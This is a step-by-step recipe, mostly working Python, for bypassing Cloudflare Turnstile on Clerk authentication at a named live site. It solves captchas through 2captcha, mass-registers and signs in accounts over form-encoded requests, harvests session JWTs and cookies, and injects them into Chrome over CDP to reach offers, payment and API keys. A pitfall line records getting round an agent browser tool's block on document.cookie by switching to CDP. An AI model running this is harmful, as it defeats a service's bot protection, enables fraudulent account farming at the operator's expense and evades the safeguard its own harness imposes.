# Clerk Turnstile Bypass — Full Reproduction Recipe

Date: 2026-07-16
Target: magica.com (Clerk auth + Cloudflare Turnstile)

## Why Form-Encoded?

Clerk's `/v1/client/sign_ups` and `/v1/client/sign_ins` endpoints reject `captcha_token` in JSON body (`application/json`) with `captcha_missing_token` error. Same token works when sent as `application/x-www-form-urlencoded`.

**Tested combinations (all FAIL):**
- `captcha_token` in JSON body → `captcha_missing_token`
- `turnstile_token` in JSON body → `captcha_missing_token`
- `cf-turnstile-response` in JSON body → `captcha_missing_token`
- `X-Clerk-Captcha-Token` header → `captcha_missing_token`
- `Clerk-Captcha-Token` header → `captcha_missing_token`
- Same token via `curl_cffi` session → `captcha_missing_token`

**What WORKS:**
- `application/x-www-form-urlencoded` with `captcha_token` field → 200 OK, sign-up created

## Finding Sitekey — Two Methods

**API (no browser needed):**
```python
r = requests.get(f"{CLERK}/v1/environment",
    headers={"Clerk-Publishable-Key": PK})
sitekey = r.json()["display_config"]["captchaPublicKey"]
# "captchaPublicKeyInvisible" also available for invisible widgets
```

**Browser console (when already on the page):**
```js
window.Clerk.__unstable__environment.displayConfig.captchaPublicKey
// → "0x4AAAAAAAWXJGBD7bONzLBd" (visible)
// → "0x4AAAAAAAFV93qQdS0ycilX" (invisible)
```

## Step-by-Step

### 1. Find Clerk Publishable Key
```python
import requests, re
r = requests.get("https://target.com")
html = r.text
pk = re.findall(r'pk_live_[a-zA-Z0-9]+', html)[0]
# Decode base64 to get clerk domain: Y2xlcmsubWFnaWNhLmNvbSQ = clerk.magica.com$
```

### 2. Get Turnstile Sitekey
```python
clerk_url = "https://clerk.target.com"
r = requests.get(f"{clerk_url}/v1/environment", headers={
    "Clerk-Publishable-Key": pk
})
sitekey = r.json()["display_config"]["captchaPublicKey"]
```

### 3. Solve Turnstile via 2captcha
```python
import requests, time
r = requests.get("https://2captcha.com/in.php", params={
    "key": "YOUR_2CAPTCHA_KEY", "method": "turnstile",
    "sitekey": sitekey, "pageurl": "https://target.com", "json": 1
})
captcha_id = r.json()["request"]

for i in range(30):
    time.sleep(2)
    r = requests.get("https://2captcha.com/res.php", params={
        "key": "YOUR_2CAPTCHA_KEY", "action": "get",
        "id": captcha_id, "json": 1
    })
    if r.json().get("status") == 1:
        token = [REDACTED])["request"]
        break
```

### 4. Register via Form-Encoded
```python
import urllib.parse

s = requests.Session()  # CRITICAL: use session for cookies

data = urllib.parse.urlencode({
    "email_address": "user@example.com",
    "password": "StrongPass123!",
    "first_name": "Alex",
    "last_name": "Morgan",
    "captcha_token": token,
}).encode()

r = s.post(f"{clerk_url}/v1/client/sign_ups",
    headers={"Clerk-Publishable-Key": pk,
             "Content-Type": "application/x-www-form-urlencoded"},
    data=data)
signup_id = r.json()["response"]["id"]

# Prepare verification
r2 = s.post(f"{clerk_url}/v1/client/sign_ups/{signup_id}/prepare_verification",
    headers={"Clerk-Publishable-Key": pk,
             "Content-Type": "application/x-www-form-urlencoded"},
    data=urllib.parse.urlencode({"strategy": "email_code"}).encode())

# Read verification code from email (IMAP)
# ... get code ...

# Attempt verification
r3 = s.post(f"{clerk_url}/v1/client/sign_ups/{signup_id}/attempt_verification",
    headers={"Clerk-Publishable-Key": pk,
             "Content-Type": "application/x-www-form-urlencoded"},
    data=urllib.parse.urlencode({"strategy": "email_code", "code": code}).encode())
```

### 5. Sign-In (Same Pattern)
```python
data = urllib.parse.urlencode({
    "identifier": "user@example.com",
    "password": "StrongPass123!",
    "strategy": "password",
    "captcha_token": token,
}).encode()

r = s.post(f"{clerk_url}/v1/client/sign_ins",
    headers={"Clerk-Publishable-Key": pk,
             "Content-Type": "application/x-www-form-urlencoded"},
    data=data)
# Extract JWT: r.json()["client"]["sessions"][0]["last_active_token"]["jwt"]
# Extract cookies: dict(s.cookies) → __client, __client_uat, __client_uat_*
```

## CDP Cookie Injection (Browser Session from API)

When you have Clerk cookies from API sign-in but need the browser UI (for Claim Offer, payment, API keys):

```python
import asyncio
from playwright.async_api import async_playwright

async def inject_and_navigate(cookies: dict, target_url: str):
    async with async_playwright() as p:
        browser = await p.chromium.connect_over_cdp("http://127.0.0.1:9222")
        context = browser.contexts[0]
        page = context.pages[0] if context.pages else await context.new_page()
        
        await context.add_cookies([
            {"name": k, "value": v, "domain": ".target.com",
             "path": "/", "httpOnly": False, "secure": True, "sameSite": "Lax"}
            for k, v in cookies.items()
        ])
        await page.goto(target_url, wait_until="load")  # NOT "networkidle"
```

**Chrome CDP startup:**
```python
import subprocess
subprocess.run("taskkill /F /IM chrome.exe", shell=True)
subprocess.Popen([
    r"C:\Program Files\Google\Chrome\Application\chrome.exe",
    "--remote-debugging-port=9222",
    "--remote-allow-origins=*",  # REQUIRED for WebSocket CDP
    r"--user-data-dir=C:\Users\User\AppData\Local\hermes\cache\chrome-profile",
    "--no-first-run", "--no-default-browser-check",
    "about:blank"
], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
```

## Key Pitfalls

1. **Same session mandatory** — verification fails with "Signed out" if you lose `__client` cookie
2. **Token TTL ~2 minutes** — solve captcha, sign-up, verify in rapid succession
3. **Password requirements** — Clerk enforces: min 8 chars, special char, uppercase, lowercase, number
4. **Rate limit 429** — after 5-6 rapid requests, wait 30s
5. **OAuth doesn't bypass captcha** — if `captchaOauthBypass: []`, OAuth also requires Turnstile
6. **Browser cookie injection blocked** — Hermes browser tool blocks `document.cookie`. Use CDP
7. **`wait_until="load"` not `"networkidle"`** — Cloudflare-protected pages never reach networkidle

## Verified Targets
- magica.com (2026-07-16) — Clerk 5.x, sitekey `0x4AAAAAAAWXJGBD7bONzLBd`, $14.99/mo
- API base: `https://api.magica.com/api/v1`, key format: `gx_...`, 81 models